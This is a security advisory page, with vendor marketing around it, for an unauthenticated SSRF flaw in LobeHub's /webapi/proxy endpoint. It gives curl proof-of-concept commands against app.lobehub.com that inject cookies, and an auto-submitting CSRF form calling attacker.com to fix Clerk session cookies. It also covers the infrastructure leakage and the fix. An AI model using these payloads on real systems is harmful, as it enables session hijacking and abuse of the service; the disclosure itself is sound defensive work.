GHSA-xmwj-c75x-6346
CRITICALGHSA-xmwj-c75x-6346 is a critical-severity (CVSS 9) Server-Side Request Forgery (SSRF) vulnerability in @lobehub/lobehub. O3 Security confirms whether GHSA-xmwj-c75x-6346 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xmwj-c75x-6346.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xmwj-c75x-6346 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@lobehub/lobehubnpmDescription
Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com
Summary
The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured — it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.
Vulnerability Details
Type: Server-Side Request Forgery (CWE-918)
Affected Endpoint: POST /webapi/proxy
Vulnerable File: src/app/(backend)/webapi/proxy/route.ts
The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes — defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.
Steps to Reproduce
Fetch an external URL through the proxy (no auth, no cookies, no tokens):
curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/ip" \
"https://app.lobehub.com/webapi/proxy"
Response:
{"origin": "3.14.141.44"}
This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.
Inject a cookie on the lobehub.com domain:
curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
"https://app.lobehub.com/webapi/proxy"
The response headers include:
set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly
The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable — these are the cookie names used by Clerk for authentication.
CSRF to cookie injection (no user interaction beyond visiting a page):
An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.
<form id=f action="https://app.lobehub.com/webapi/proxy"
method=POST enctype="text/plain">
<input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>
The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.
Impact
The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:
An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.
The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.
The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.
Recommended Fix
Add checkAuth() to the proxy route, matching every other webapi route:
- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {
If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @lobehub/lobehub | all versions | 2.1.57 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/lobehub. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @lobehub/lobehub to 2.1.57 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xmwj-c75x-6346 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xmwj-c75x-6346 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xmwj-c75x-6346. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xmwj-c75x-6346 in your dependencies?
O3 detects GHSA-xmwj-c75x-6346 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.